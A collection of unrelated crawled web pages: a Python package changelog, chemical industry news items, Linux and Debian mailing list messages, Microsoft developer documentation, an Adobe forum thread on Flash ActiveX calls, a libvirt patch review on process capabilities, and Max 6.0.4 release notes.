In other words, this example had the directory layout, where the static directory is the base of your fanstatic library.
- my_package_name/
- my/
- static/
- css/
- js/
And the custom widget will require something called ‘my_special_widget’. (See the deform docs on custom widgets)
After this, your dependencies will be included automatically whenever deform needs them.
Bugs, contact etc…
- Source/bug tracker: GitHub
- Initial author and maintainer: Robin Harms Oredsson mailto:robin@betahaus.net
- License: GPLv3 or later
Changelog
0.2.2b (2014-04-08)
- Resource dependencies consider the order deform list them. A widget requirement with several listed resources will have them depend on each other in order.
0.2.1b (2014-04-08)
- NOTE: remove_resources changed to remove_resource - it only accepts one resource now.
- Replacing resources may require to replace dependencies as well. This is now the default option for replace_resource and remove_resource.
0.2b (2014-03-25)
- New methods to interact and replace resources.
- ResourceRegistry objects now keep track of fanstatic.Resources in ResourceRegistry.requirements, rather than file paths.
- create_requirement_for now figures out proper paths from fanstatic libraries, so just specify proper package paths like: package_name:some/dir/with/file.js.
0.1b (2014-03-21)
- Initial version
- Downloads (All Versions):
- 17 downloads in the last day
- 71 downloads in the last week
- 80 downloads in the last month
- Author: Robin Harms Oredsson
- Keywords: web colander deform fanstatic
- Categories
- Development Status :: 4 - Beta
- Intended Audience :: Developers
- License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)
- Programming Language :: Python
- Programming Language :: Python :: 2.7
- Programming Language :: Python :: 3
- Topic :: Internet :: WWW/HTTP
- Topic :: Internet :: WWW/HTTP :: WSGI :: Application
- Package Index Owner: betahaus
- DOAP record: deform_autoneed-0.2.2b.xml
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https://pypi.python.org/pypi/deform_autoneed/0.2.2b
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24 April 2007 12:22 [Source: ICIS news]
NEW DELHI (ICIS news)--India’s Gujarat State Fertilizers & Chemicals (GSFC) has appointed Denmark’s Haldor Topsoe as its technical collaborator on a proposed methanol plant in Baroda, Gujarat state.
?xml:namespace>
According to the Indian government’s brief on the proposed technical tie-up, GSFC would pay Topsoe €8.7m ($11.81m) for the supply of design and engineering services, proprietary equipment and a catalyst.
GSFC plans to set up the 175,875 tonne methanol plant by modifying and revamping an old ammonia unit at its production complex in ?xml:namespace>
A company official earlier told ICIS it would commission a rupees (Rs) 2.59bn ($62.88m) plant at the site by mid-2009.
With its proposed move, GSFC will become the fifth fertilizer company in the country to produce methanol. The four others are Gujarat Narmada Valley Fertilizers, Rashtriya Chemicals and Fertilzsers Limited, Deepak Fertilizers and Petrochemicals Corporation and National Fertilizers Limited.
($1 = €0.74)
($1 = Rs
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http://www.icis.com/Articles/2007/04/24/9023101/Indias-GSFC-Denmarks-Haldor-in-technical-tie-up.html
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25 May 2010 18:36 [Source: ICIS news]
TORONTO (ICIS news)--A court in Germany’s Lower Saxony state on Tuesday began hearing a case against a chemical trader charged with allegedly supplying hydrogen peroxide to an Islamic terrorist group to make explosives, the court said in a statement.
The court in Verden said the public prosecutor was alleging that the trader on three separate occasions in 2007 supplied a total of 10 cans of hydrogen peroxide – each with a capacity of 65 kilogrammes (km) - to a an Islamic terrorist group that was planning attacks in Germany.
The trader, whom the court did not identify, was using an online chemical trading platform, it said.
In a separate report, regional German state television covering the trial’s opening said the trader was denying he knew or should have known that the hydrogen peroxide was bought to make explosives.
Rather, he said he thought the chemical would be used in contract cleaning of commercial buildings, said NDR television. The trader, who apparently had over 3,000 customers, told the court he was under significant pressure from work at the time, the station added.
In March, a court in Dusseldorf sentenced four members of the Islamic group the trader allegedly supplied – known in Germany as “Sauerland-Gruppe” – to jail terms of between five and 12 years.
The ?xml:namespace>
They planned, in particular, to blow up US facilities
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http://www.icis.com/Articles/2010/05/25/9362504/germany-starts-case-against-chemical-trader-over-terrorist-plot.html
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25 February 2013 23:53 [Source: ICIS news]
HOUSTON (ICIS)--Here is Monday’s end of day ?xml:namespace>
CRUDE: Apr WTI: $93.11/bbl, down 2 cents; Apr Brent: $114.44/bbl, up 34 cents
NYMEX WTI crude futures rose sharply overnight but reversed direction and moved into negative territory under pressure from a weak stock market and the euro reversing direction and losing ground against the dollar.
RBOB: Mar $3.0611/gal, down 1.85 cents/gal
Reformulated blendstock for oxygen blending (RBOB) futures dipped as the market began to focus on the April contract.
NATURAL GAS: Mar: $3.414/MMBtu, up 12.3 cents
The front month on the NYMEX natural gas market settled at 12-session high on sentiment for rising near-term demand in the Midwest and central south of the country due to expectations of a sustained period of lower-than-normal temperatures through the next two weeks.
ETHANE: higher at 26.75 cents/gal
Ethane spot prices were higher on Monday following other energy commodities.
AROMATICS: toluene flat at $4.35-4.50/gal, mixed xylene flat at $4.47-4.49/gal
Prompt n-grade toluene and mixed xylene (MX) spot prices were stable to start the week. Activity was thin, as no fresh trades were done during the day and discussions were quiet.
OLEFINS: ethylene done higher at 62.125 cents/lb; RGP bid higher at 66 cents/lb
February ethylene was done at 62.125 cents/lb on Monday, slightly higher than the previous deal done at 62.000 cents/lb, as sources said supply might be tightening. February refinery-grade propylene (RGP) was heard bid at 66 cents/lb,
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http://www.icis.com/Articles/2013/02/25/9644194/evening-snapshot-americas-markets-summary.html
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HOUSTON (ICIS)--Potash Ridge has filed the mining permit with ?xml:namespace>
The
Company officials said it filed a required notice of intent to commence large mining operations with the state’s Division of Oil, Gas and Mining. The mining permit required significant environment and baseline assessments by Potash Ridge. Company CEO Guy Bentinck said the company will be working further with state and local officials to advance the project.
“Our filing of this notice is another significant milestone culminating from considerable effort over the last 12 months,” said Bentinck. “The corporation has made major advances on the project since we started development just over two years ago.”
While the approval of the mining permit does not have a deadline the company said it anticipates a timely approval of its application. Air quality and ground water permits for the project are expected to be filed in early 2014.
The company is projecting annual SOP production of 645,000 tonnes when at full capacity with the extractable deposits estimated at 26.4m tonnes over the 40 year lifecycle of the mine. It is also anticipated an average of 1.4m tons of sulphuric acid will be produced at the site per year.
SOP produced will be marketed domestically and globally. The sulphuric acid will be marketed to existing US phosphate producers as well as to copper and gold miners in the region.
Potash Ridge previously said construction would begin in late 2015 with production starting in 2017 and the operation reaching full capacity by 2019. Initial capital cost for the project has been calculated at $1.1bn with the company anticipating possibly spending approximately $641m in additional funding for infrastructure and utility upgrades.
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http://www.icis.com/resources/news/2013/12/26/9738523/potash-ridge-files-mining-permit-for-utah-sop-project/
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On Thu, Jan 26, 2006 at 01:13:45PM -0700, Eric W. Biederman wrote:> Herbert Poetzl <herbert@13thfloor.at> writes:> > > On Sat, Jan 21, 2006 at 03:04:16AM -0700, Eric W. Biederman wrote:> >> So in the simple case I have names like:> >> 1178/1632> >> > which is a new namespace in itself, but it doesn't matter> > as long as it uniquely and persistently identifies the> > namespace for the time it exists ... just leaves the> > question how to retrieve a list of all namespaces :)> > Yes but the name of the namespace is still in the original pid namespace.> And more importantly to me it isn't a new kind of namespace.> > >> If I want a guest that can keep secrets from the host sysadmin I don't> >> want transitioning into a guest namespace to come too easily.> >> > which can easily be achieved by 'marking' the namespace> > as private and/or applying certain rules/checks to the> > 'enter' procedure ...> > Right. The trick here is that you must be able to deny> transitioning into a namespace from the inside the namespace.> Or else a guest could never trust it. Something one of my> coworkers pointed out to me.not necessarily, for example have a 'private' flag, whichcan only be set once (usually from outside), ensuring thatthe namespace will not be entered. this flag could bechecked from inside ...best,Herbert>
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https://lkml.org/lkml/2006/1/26/256
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How to: Identify a Nullable Type (C# Programming Guide)
You can use the C# typeof operator to create a Type object that represents a Nullable type:
You can also use the classes and methods of the System.Reflection namespace to generate Type objects that represent Nullable types. However, if you try to obtain type information from Nullable variables at runtime by using the GetType method or the is operator, the result is a Type object that represents the underlying type, not the Nullable type itself.
Calling GetType on a Nullable type causes a boxing operation to be performed when the type is implicitly converted to Object. Therefore GetType always returns a Type object that represents the underlying type, not the Nullable type.
The C# is operator also operates on a Nullable's underlying type. Therefore you cannot use is to determine whether a variable is a Nullable type. The following example shows that the is operator treats a Nullable<int> variable as an int.
Use the following code to determine whether a Type object represents a Nullable type. Remember that this code always returns false if the Type object was returned from a call to GetType, as explained earlier in this topic.
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https://msdn.microsoft.com/en-US/library/ms366789(v=vs.110).aspx
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This is a web-based note viewer. I use this in conjuction with a script bound to an F-key that starts an emacsclient with a timestamped text file in a note directory. This allows me to quickly make one-off notes by pressing a single key, then close the emacsclient window and continue with what I was doing before. However, since I deliberately don't include filenames or the like - to make note-taking as quick and low-investment as possible - viewing the notes in a text editor isn't very nice. So this is a Flask application that displays them on a simple web interface.
Feature Creep
I've already added automatic linking of URLs, editing in the browser, and am working on including non-text files. For example, I'd like to have a similar keybinding to take a screenshot and stick it in the same directory.
Integration
I integrate notedir using werkzeug's DispatcherMiddleware like so:
from notedir import app as notedir_app notedir_app.config["NOTEDIR_DIRECTORY"] = "/home/akg/var/notes" app = DispatcherMiddleware(app, { # ... "/notes": notedir_app, })
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https://bitbucket.org/adamkg/notedir/src/2de00b4ea63c/?at=default
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On Fri, Apr 02, 2004 at 05:16:00PM -0600, Gunnar Wolf wrote: >. As I've already said, Debian Policy requires the FHS, and quoting from /usr/share/doc/debian-policy/fhs/fhs.txt.gz: 1.8 Conformance with this Document ... The terms "must", "should", "contains", "is" and so forth should be read as requirements for compliance or compatibility. 6.1.2 /dev : Devices and special files All devices and special files in /dev should adhere to the Linux Allocated Devices document, which is available with the Linux kernel source. It is maintained by H. Peter Anvin <hpa@zytor.com>. This document is located here, and specifies the flat namespace: Hence, the flat namespace is already mandated by Debian Policy. And for good reason, as you point out: > Too many packages will depend on the location of some device files, > as was mentioned previously in this discussion. - Ted
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https://lists.debian.org/debian-devel/2004/04/msg00272.html
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CC-MAIN-2015-11
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refinedweb
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Flash ActiveX's CallFunction method always fails (E_FAIL)AJet1234 Jun 8, 2007 6:46 AM
I likely have collected all information in the web, but still facing the problem.
I am trying to host the Flash ActiveX in a C# program and establish two-way communication between the host application and the ActionScript contained in my SWF file.
On the ActionScript side, I use the ExternalInterface class.
On the ActiveX side, for callbacks, I use the IShockwaveFlash:: FlashCall event, which works perfectly in all host applications I have experimented with. For direct calls, I use IShockwaveFlash:: CallFunction() method, which doesn't work on some host applications (unfortunately those I need). It fails with COM error (HRESULT E_FAIL, "Unspecified error").
Here is what I have done so far:
1) Installed the latest Flash Player 9, registered Flash9c.ocx ActiveX.
2) Granted Flash security permission to the folder where my SWF is located by prescribing it in
"C:\Documents and Settings\myname\Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust\myapp.cfg"
Before I did this, the FlashCall event caused a SecurityError reported from the Flash player. So it makes me think that my problem is not a security issue any more.
3) Tested the SWF file hosted in a browser (both IE and Firefox). The two-way communication with JavaScript works perfectly in both ways, so it means there's no mistake in my ActionScript code, and the way I call ExternalInterface methods is correct.
4) From JavaScript, I tried the following two ways of calling the ActionScript function (called "Handshake") in the SWF movie object:
// JavaScript code
// call directly
swfMovieObject.Handshake( "hello world" );
// call via CallFunction
swfMovieObject.CallFunction( "<invoke name="Handshake" returntype="xml"><arguments><string>hello world</string></arguments></invoke>" );
the both methods also worked perfectly, which means the <invoke> xml string I am passing is correct.
5) When hosted in VB6 and on MS Access 2003 Form, the CallFunction method works perfectly.
6) Finally, the CallFunction method fails to work when hosted in Word 2003 document, Excel 2003 worksheet, VBA form in Word 2003 or Excel 2003, and also in a C# program written in Visual Studio 2005..
Please help!
1. Re: Flash ActiveX's CallFunction method always fails (E_FAIL)FeyFre Aug 15, 2007 5:30 AM (in response to AJet1234)Hello, AJet1234
I have this problem too and I think I found why this error ocurs, but I still do not know ho to reslove it.
Not only C# projects have such bug, C++ and Assembler code also failed with it.
My task for now is to write plugin for some program. This plugin provides user interface for some internal beings of program. User interface done using Flash movie(Flex 2) played usnig ActiveX Flash control. To comunicate between plugin and movie I use CallFunction method of IShockwaveFlash interface.
On the first steps I wrote simple application which emualtes behavior of program. All works perfectly. But when I ported communcation code into a DLL CallFunction begun to return E_FAIL value.
I think the reason is that ActiveX Control checks in which module it was created. If it was created in startup module(someprogam.exe) it works perfectly. But when it was created in DLL module(various plugins etc) it disables some features(I think for security reason). One of those features is method callFunction. I lost 3 month trying reslove this problem.
quote:.
I tried 5 different machine with different configurations but that don't reslove problem.
Best regards
2. Re: Flash ActiveX's CallFunction method always fails (E_FAIL)AJet1234 Aug 19, 2007 9:00 PM (in response to AJet1234)Thanks FeyFre,
I guess you are right. I've got another suspicion that this bug may be due to some multi-threading issues but it's hard to tell.
I wonder if Adobe can hear us and fix this bug in the following version of Flash Player. Through the previous versions, this bug survived over and over again :(
Currently, I've created the following workaround: in Flash movie, I set a timer which sends (e.g. 10 times a second) the hosting program a request for a command(s) to execute. In this way the direct call (CallFunction) is no longer needed and replaced with callback (ExternalInterface.call). I know it's an ugly solution, but it works and I don't observe any tangible performance issues. Hope this can be helpful to others.
3. Re: Flash ActiveX's CallFunction method always fails (E_FAIL)FeyFre Aug 20, 2007 6:52 AM (in response to AJet1234)Hello, AJet1234
Workaround, you offered, is widely used among other programmers, but it looks like sadism. I offer you to try another way, but you must be a litle familiar with writing COM servers(I have no other choice;-( ). I'll try it soon and advice you to try it. I offer to write own AxtiveX Control whitch will create Flash control. The thing is that the server which serves control must be LocalServer i.e. exe program, in order to use all feature of Flash Control instance createt by it(including CallFunction which calls now must be successfully completed). This is very simple to Aggregation(in COM terminology), and hope it will be working.
Best regards
PS: I understand my workaround also looks like sadism, but "What can I do?"
4. Re: Flash ActiveX's CallFunction method always fails (E_FAIL)TulipWin Apr 7, 2009 8:30 AM (in response to AJet1234)
Hi Ajet,
Would you please have a code snippet on the workaround?
I couldn't get it worked so I guess I may understand it wrong.
Thanks!
5. Re: Flash ActiveX's CallFunction method always fails (E_FAIL)mikezeli Jun 24, 2009 12:33 PM (in response to TulipWin)
Just figured this one out. I'm using VC++ 6 with ActiveX Flash 10. The code snippets here will call the Flash function testFunction from VC++ using the CallFunction command and the appropriate XML. In VC++, make the following call assuming that m_flashGUI is the CShockwaveFlash object added to your dialog.
CString ret = m_flashGUI.CallFunction("<invoke name=\"testFunction\" returntype=\"xml\">"
"<arguments><string>something</string></arguments></invoke>");
The key item in the xml string is the "name" parameter. It must match the name in the addCallback function in the Flash movie.
In the flash movie, have something like the following. The addCallback call is important. Without it the CallFunction from C++ will throw an exception.
// Import the flash items
import flash.events.*;
import flash.external.ExternalInterface;
// Associate the flash function with the external call
flash.external.ExternalInterface.addCallback("testFunction", testFunction);
function testFunction(str:String):Boolean
{
// Do something here...
return (true);
}
Good luck!
Mike
6. Re: Flash ActiveX's CallFunction method always fails (E_FAIL)TulipWin Jun 24, 2009 3:34 PM (in response to mikezeli)
Hi,
Thanks for your response.
That was what I did in C#, but it didn't work when our application is launched inside Excel, outside Excel, everything works.
Thanks,
Thao
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https://forums.adobe.com/message/84670?tstart=0
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CC-MAIN-2015-11
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en
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refinedweb
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05 September 2012 07:57 [Source: ICIS news]
SINGAPORE (ICIS)--?xml:namespace>
The 2EH-A unit that is able to produce about 25,000 tonne/year was shut last week for maintenance for about 25 days, and is expected to restart in late September, the source said.
There is currently limited availability for 2-EHA cargoes for the spot market, partly because of the shutdown, the source added.
The company is currently operating its 30,000 tonne/year 2-EHA plant in Yeosu
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http://www.icis.com/Articles/2012/09/05/9592728/s-koreas-lg-chem-shuts-2-eha-naju-unit-for-annual-maintenance.html
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CC-MAIN-2015-11
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en
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refinedweb
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Installutil.exe (Installer Tool)
Updated: April 2011
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace.:.
All options and command-line parameters are written to the installation log file. However, if you use the /Password parameter, which is recognized by some installer components, the password information will be replaced by eight asterisks (*) and will not appear in the log file.
.NET Framework applications consist of traditional program files and associated resources, such as message queues, event logs, and performance counters that must be created when the application is deployed. You can use an assembly's installer components to create these resources when your application is installed and to remove them when your application is uninstalled. Installutil.exe detects and executes these installer components.
You can specify multiple assemblies on the same command line. Any option that occurs before an assembly name applies to that assembly's installation. Except for /u and /AssemblyName, options are cumulative but overridable. That is, options specified for one assembly apply to all subsequent assemblies unless the option is specified with a new value.
If you run Installutil.exe against an assembly without specifying any options, it places the following three files into the assembly's directory:
InstallUtil.InstallLog - Contains a general description of the installation progress.
assemblyname.InstallLog - Contains information specific to the commit phase of the installation process. For more information about the commit phase, see the.
The following command displays a description of the command syntax and options for InstallUtil.exe.
The following command displays a description of the command syntax and options for InstallUtil.exe. It also displays a description and list of options supported by the the installer components in myAssembly.exe if help text has been assigned to the installer's Installer.HelpText property.
The following command executes the installer components in the assembly myAssembly.exe.
The following command executes the installer components in an assembly by using the /AssemblyName switch and a fully qualified name..
The following command executes the uninstaller components in the assembly myAssembly.exe.
The following command executes the uninistaller components in the assemblies myAssembly1.exe and myAssembly2.exe.
Because the position of the /u option on the command line is not important, this is equivalent to the following command.
The following command executes the installers in the assembly myAssembly.exe and specifies that progress information will be written to myLog.InstallLog.
The following command executes the installers in the assembly myAssembly.exe, specifies that progress information should be written to myLog.InstallLog, and uses the installers' custom /reg option to specify that updates should be made to the system registry.
The following command executes the installers in the assembly myAssembly.exe, uses the installer's custom /email option to specify the user's e-mail address, and suppresses output to the log file.
The following command writes the installation progress for myAssembly.exe to myLog.InstallLog and writes the progress for myTestAssembly.exe to myTestLog.InstallLog.
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https://msdn.microsoft.com/en-US/library/50614e95(v=vs.100).aspx
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CC-MAIN-2015-11
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refinedweb
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On Sat, Feb 16, 2013 at 4:53 PM, Laine Stump <laine laine org> wrote: > On 02/16/2013 12:20 AM, Doug Goldstein wrote: >> On Tue, Feb 12, 2013 at 2:15 PM, Laine Stump <laine laine org> wrote: >>> Normally when a process' uid is changed to non-0, all the capabilities >>> bits are cleared, even those explicitly set with calls to >>> capng_update()/capng_apply() made immediately before setuid. And >>> *after* the process' uid has been changed, it no longer has the >>> necessary privileges to add capabilities back to the process. >>> >>> In order to set a non-0 uid while still maintaining any capabilities >>> bits, it is necessary to either call capng_change_id() (which >>> unfortunately doesn't currently call initgroups to setup auxiliary >>> group membership), or to perform the small amount of calisthenics >>> contained in the new utility function virSetUIDGIDWithCaps(). >>> >>> Another very important difference between the capabilities >>> setting/clearing in virSetUIDGIDWithCaps() and virCommand's >>> virSetCapabilities() (which it will replace in the next patch) is that >>> the new function properly clears the capabilities bounding set, so it >>> will not be possible for a child process to set any new >>> capabilities. >>> >>> A short description of what is done by virSetUIDGIDWithCaps(): >>> >>> 1) clear all capabilities then set all those desired by the caller (in >>> capBits) plus CAP_SETGID, CAP_SETUID, and CAP_SETPCAP (which is needed >>> to change the capabilities bounding set). >>> >>> 2) call prctl(), telling it that we want to maintain current >>> capabilities across an upcoming setuid(). >>> >>> 3) switch to the new uid/gid >>> >>> 4) again call prctl(), telling it we will no longer want capabilities >>> maintained if this process does another setuid(). >>> >>> 5) clear the capabilities that we added to allow us to >>> setuid/setgid/change the bounding set (unless they were also requested >>> by the caller via the virCommand API). >>> >>> Because the modification/maintaining of capabilities is intermingled >>> with setting the uid, this is necessarily done in a single function, >>> rather than having two independent functions. >>> >>> Note that, due to the way that effective capabilities are computed (at >>> time of execve) for a process that has uid != 0, the *file* >>> capabilities of the binary being executed must also have the desired >>> capabilities bit(s) set (see "man 7 capabilities"). This can be done >>> with the "filecap" command. (e.g. "filecap /usr/bin/qemu-kvm sys_rawio"). >>> --- >>> Change from V1: >>> * properly cast when comparing gid/uid, and only short circuit for -1 (not 0) >>> * fix // style comments >>> * add ATTRIBUTE_UNUSED where appropriate for capBits argument. >>> >>> src/libvirt_private.syms | 1 + >>> src/util/virutil.c | 111 +++++++++++++++++++++++++++++++++++++++++++++++ >>> src/util/virutil.h | 1 + >>> 3 files changed, 113 insertions(+) >>> >>> diff --git a/src/libvirt_private.syms b/src/libvirt_private.syms >>> index dcdcb67..d8d5877 100644 >>> --- a/src/libvirt_private.syms >>> +++ b/src/libvirt_private.syms >>> @@ -1312,6 +1312,7 @@ virSetDeviceUnprivSGIO; >>> virSetInherit; >>> virSetNonBlock; >>> virSetUIDGID; >>> +virSetUIDGIDWithCaps; >>> virSkipSpaces; >>> virSkipSpacesAndBackslash; >>> virSkipSpacesBackwards; >>> diff --git a/src/util/virutil.c b/src/util/virutil.c >>> index 0d7db00..28fcc2f 100644 >>> --- a/src/util/virutil.c >>> +++ b/src/util/virutil.c >>> @@ -60,6 +60,7 @@ >>> #endif >>> #if WITH_CAPNG >>> # include <cap-ng.h> >>> +# include <sys/prctl.h> >>> #endif >>> #if defined HAVE_MNTENT_H && defined HAVE_GETMNTENT_R >>> # include <mntent.h> >>> @@ -2990,6 +2991,116 @@ virGetGroupName(gid_t gid ATTRIBUTE_UNUSED) >>> } >>> #endif /* HAVE_GETPWUID_R */ >>> >>> +#if WITH_CAPNG >>> +/* Set the real and effective uid and gid to the given values, while >>> + * maintaining the capabilities indicated by bits in @capBits. return >>> + * 0 on success, -1 on failure (the original system error remains in >>> + * errno). >>> + */ >>> +int >>> +virSetUIDGIDWithCaps(uid_t uid, gid_t gid, unsigned long long capBits) >>> +{ >>> + int ii, capng_ret, ret = -1; >>> + bool need_setgid = false, need_setuid = false; >>> + bool need_prctl = false, need_setpcap = false; >>> + >>> + /* First drop all caps except those in capBits + the extra ones we >>> + * need to change uid/gid and change the capabilities bounding >>> + * set. >>> + */ >>> + >>> + capng_clear(CAPNG_SELECT_BOTH); >>> + >>> + for (ii = 0; ii <= CAP_LAST_CAP; ii++) { >>> + if (capBits & (1ULL << ii)) { >>> + capng_update(CAPNG_ADD, >>> + CAPNG_EFFECTIVE|CAPNG_INHERITABLE| >>> + CAPNG_PERMITTED|CAPNG_BOUNDING_SET, >>> + ii); >>> + } >>> + } >>> + >>> + if (gid != (gid_t)-1 && >>> + !capng_have_capability(CAPNG_EFFECTIVE, CAP_SETGID)) { >>> + need_setgid = true; >>> + capng_update(CAPNG_ADD, CAPNG_EFFECTIVE|CAPNG_PERMITTED, CAP_SETGID); >>> + } >>> + if (uid != (uid_t)-1 && >>> + !capng_have_capability(CAPNG_EFFECTIVE, CAP_SETUID)) { >>> + need_setuid = true; >>> + capng_update(CAPNG_ADD, CAPNG_EFFECTIVE|CAPNG_PERMITTED, CAP_SETUID); >>> + } >>> +# ifdef PR_CAPBSET_DROP >>> + /* If newer kernel, we need also need setpcap to change the bounding set */ >>> + if ((capBits || need_setgid || need_setuid) && >>> + !capng_have_capability(CAPNG_EFFECTIVE, CAP_SETPCAP)) { >>> + need_setpcap = true; >>> + } >>> + if (need_setpcap) >>> + capng_update(CAPNG_ADD, CAPNG_EFFECTIVE|CAPNG_PERMITTED, CAP_SETPCAP); >>> +# endif >>> + >>> + need_prctl = capBits || need_setgid || need_setuid || need_setpcap; >>> + >>> + /* Tell system we want to keep caps across uid change */ >>> + if (need_prctl && prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0)) { >>> + virReportSystemError(errno, "%s", >>> + _("prctl failed to set KEEPCAPS")); >>> + goto cleanup; >>> + } >>> + >>> + /* Change to the temp capabilities */ >>> + if ((capng_ret = capng_apply(CAPNG_SELECT_BOTH)) < 0) { >>> + virReportError(VIR_ERR_INTERNAL_ERROR, >>> + _("cannot apply process capabilities %d"), capng_ret); >>> + goto cleanup; >>> + } >>> + >>> + if (virSetUIDGID(uid, gid) < 0) >>> + goto cleanup; >>> + >>> + /* Tell it we are done keeping capabilities */ >>> + if (need_prctl && prctl(PR_SET_KEEPCAPS, 0, 0, 0, 0)) { >>> + virReportSystemError(errno, "%s", >>> + _("prctl failed to reset KEEPCAPS")); >>> + goto cleanup; >>> + } >>> + >>> + /* Drop the caps that allow setuid/gid (unless they were requested) */ >>> + if (need_setgid) >>> + capng_update(CAPNG_DROP, CAPNG_EFFECTIVE|CAPNG_PERMITTED, CAP_SETGID); >>> + if (need_setuid) >>> + capng_update(CAPNG_DROP, CAPNG_EFFECTIVE|CAPNG_PERMITTED, CAP_SETUID); >>> + /* Throw away CAP_SETPCAP so no more changes */ >>> + if (need_setpcap) >>> + capng_update(CAPNG_DROP, CAPNG_EFFECTIVE|CAPNG_PERMITTED, CAP_SETPCAP); >>> + >>> + if (need_prctl && ((capng_ret = capng_apply(CAPNG_SELECT_BOTH)) < 0)) { >>> + virReportError(VIR_ERR_INTERNAL_ERROR, >>> + _("cannot apply process capabilities %d"), capng_ret); >>> + ret = -1; >>> + goto cleanup; >>> + } >>> + >>> + ret = 0; >>> +cleanup: >>> + return ret; >>> +} >>> + >>> +#else >>> +/* >>> + * On platforms without libcapng, the capabilities setting is treated >>> + * as a NOP. >>> + */ >>> + >>> +int >>> +virSetUIDGIDWithCaps(uid_t uid, gid_t gid, >>> + unsigned long long capBits ATTRIBUTE_UNUSED) >>> +{ >>> + return virSetUIDGID(uid, gid); >>> +} >>> +#endif >>> + >>> >>> #if defined HAVE_MNTENT_H && defined HAVE_GETMNTENT_R >>> /* search /proc/mounts for mount point of *type; return pointer to >>> diff --git a/src/util/virutil.h b/src/util/virutil.h >>> index 4201aa1..2dc3403 100644 >>> --- a/src/util/virutil.h >>> +++ b/src/util/virutil.h >>> @@ -54,6 +54,7 @@ int virPipeReadUntilEOF(int outfd, int errfd, >>> char **outbuf, char **errbuf); >>> >>> int virSetUIDGID(uid_t uid, gid_t gid); >>> +int virSetUIDGIDWithCaps(uid_t uid, gid_t gid, unsigned long long capBits); >>> >>> int virFileReadLimFD(int fd, int maxlen, char **buf) ATTRIBUTE_RETURN_CHECK; >>> >>> -- >>> 1.8.1 >> The following error bisect's down to this commit when running out of >> my local checkout for testing. >> >> 2013-02-16 05:16:55.102+0000: 29992: error : virCommandWait:2270 : >> internal error Child process (LC_ALL=C >> LD_LIBRARY_PATH=/home/cardoe/work/libvirt/src/.libs >> PATH=/usr/local/bin:/usr/bin:/bin:/opt/bin:/usr/x86_64-pc-linux-gnu/gcc-bin/4.6.3:/usr/games/bin >> HOME=/home/cardoe USER=cardoe LOGNAME=cardoe /usr/bin/qemu-kvm -help) >> unexpected exit status 1: libvir: error : internal error cannot apply >> process capabilities -1 >> > > Ugh. Can you manage to get that trapped in gdb and find out the value of > uid, gid, and capBits, as well as whether it is failing on the first > call to capng_apply() or the second (they both have the same error > messsage. (Whatever happened to the function name/line number that used > to be logged with the error messages?) I wonder if perhaps on debian > it's failing the capng_apply() call that happens after the uid is changed... > > Oops. Guess that would have been helpful to include. Its Gentoo btw, not Debian. Its in the first call. I guess the exit message is overriding the original line number in the error message. 2013-02-17 18:08:03.696+0000: 21164: debug : virExec:641 : Setting child uid:gid to 0:0 with caps 0 2013-02-17 18:08:03.696+0000: 21164: error : virSetUIDGIDWithCaps:3055 : internal error cannot apply process capabilities -1 -- Doug Goldstein
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https://www.redhat.com/archives/libvir-list/2013-February/msg00870.html
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CC-MAIN-2015-11
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en
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refinedweb
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Max 6.0.4 Released
We are happy to announce that we have officially released 6.0.4. There are a whole list of things that were fixed (over 75 bugs), and a few fun new features.
You can download it here:
Enjoy!
-Ben
Max 6.0.4 release notes:
New Features:
• attrui: tab key support
• filterdesign: double-click to see dictionary
• Gen: GenExpr include files
• jit.anim.node new features:
– new messages: concat, worldtolocal, localtoworld
– new attribute: invtransform
• jit.gl.cornerpin object
• jit.phys.* new features:
– @enable attribute
– physics constraints now have rotate/rotatexyz attributes
• jit.phys.world new features:
– attributes for simulation updates
– remove_plane attribute for 2D functionality
• sqlite: faster database update startup
• standalone: improved dependency inclusion for some components
Bugs Fixed:
• audio: fixed start/stop UI delay glitch
• audio: closing patcher window now fades properly (Mixer Crossfade)
• audio: clicking then silence / crashing when changing audio settings
• audio: fixed crash when turning mixer parallel on/off when signal vector size is smaller than 64
• audio: hot-swap devices without needing to restart Max
• audio: patcher muting respected when audio started
• audio: fixed deadlock when closing a patcher with the Audio running
• preferences: fixed crash on corrupted Windows preference files
• cascade~: fixed zipper noise on coefficient change
• cellblock: resizing the object refreshes properly in in-line edit mode
• codebox: require disposes of filewatcher when closed
• codebox: retains inlet/outlet count even with an error with GenExpr
• cycle~: proper handling of attrs/args
• dac~: start/startwindow in right inlet
• dialog: text field does not have focus (Mac OS 10.6)
• dict: automatically add missing extension for the ‘import’ message
• dict.iter: fix crashes with references to dangling subdictionaries.
• enable SSE2 instructions for windows non-audio projects
• Encapsulating with disabled patch cord causes crash
• File > New Text, typing, File > Save causes text to disappear
• filtergraph~ no longer crash when receiving a message with the wrong filter index
• filtergraph~: @edit_maxfreq @edit_minfreq swap
• fpic: opt+drag no longer loses image
• Gen: patcher type visual display on inlets and outlets
• Gen: ‘f’ can be used in GenExpr as a variable
• Gen: .genexpr files now associated with Max6
• grab: Works with ‘set’ receives / multiple output
• groove~: fix for output gain variations depending up transposition with resampling on
• groove~: fix for stuttering, distortion, etc with resampling on and looping a small portion of a large buffer
• groove~: fixed crash when loop max is smaller than loop min
• groove~: resampling aliasing on loop points
• groove~: resampling and loopinterp should work together
• jit.anim.drive: ui_map dictionary functionality fixes
• jit.cellblock: .txt extension added to written files
• jit.cellblock: misc fixes
• jit.gen: fixed noise()
• jit.gl.lua: .lua files: now associated with Max6
• jit.gl.node: fixed crash when closing patch after deleting jit.gl.node
• jit.gl.node: gl.node erase_color attribute bug fix
• jit.gl.pix: fixed GLSL compilation errors
• jit.gl.videoplane: fixed fullscreen crash
• jit.phys.body: fixed @shape compound crashes when collision reporting
• jit.phys.ghost: fixed help file crash
• jit.qt.movie: fixed flatten + inplace crash
• jit.qt.movie: attrui @dim updates with @adapt 1
• jitter Gen: math binops with vec2 arguments produce valid output
• KeyMIDI: octaves buttons works properly again
• live.step: editlooponly respects loop start > 1
• matrixctrl: updates when recalling a preset in Max for Live
• minimixer: fixed sizing issues
• nodes: mouse coordinate are correct when the object isn’t squared
• nodes: no longer produce NaN when the size of a node is set to 0.
• nodes: setnode message properly updates the active state
• ob3d matrixoutput 2 memory leak
• object details panel: fixed GUI glitch
• polybuffer~ help file: fixed crash on Windows
• phasor~: improved @lock 1 performance
